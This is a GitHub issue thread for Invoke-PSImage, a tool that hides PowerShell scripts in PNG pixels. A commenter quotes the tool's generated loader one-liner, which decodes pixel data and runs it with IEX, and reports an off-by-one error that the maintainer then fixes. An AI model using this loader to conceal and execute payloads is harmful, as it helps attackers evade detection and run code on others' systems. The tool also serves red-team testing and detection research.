peewpw / Invoke-PSImage

Encodes a PowerShell script in the pixels of a PNG file and generates a oneliner to execute
MIT License
2.16k stars 397 forks source link

$lpayload + 1? #4

Closed jesusninoc closed 6 years ago

jesusninoc commented 6 years ago

$pscmd = "sal a New-Object;Add-Type -AssemblyName "System.Drawing";$g= a System.Drawing.Bitmap("$Out");$o= a Byte[] $array;(0..$lrows)|% {foreach($x in (0..$lwidth)){$p=$g.GetPixel($x,$_);$o[$_*$width+$x]=([math]::Floor(($p.B -band 15)*16) -bor ($p.G -band 15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..($lpayload+1)]))"

peewpw commented 6 years ago

Yes! Just fixed this. I didn't notice for a long time since almost any script ends with a newline.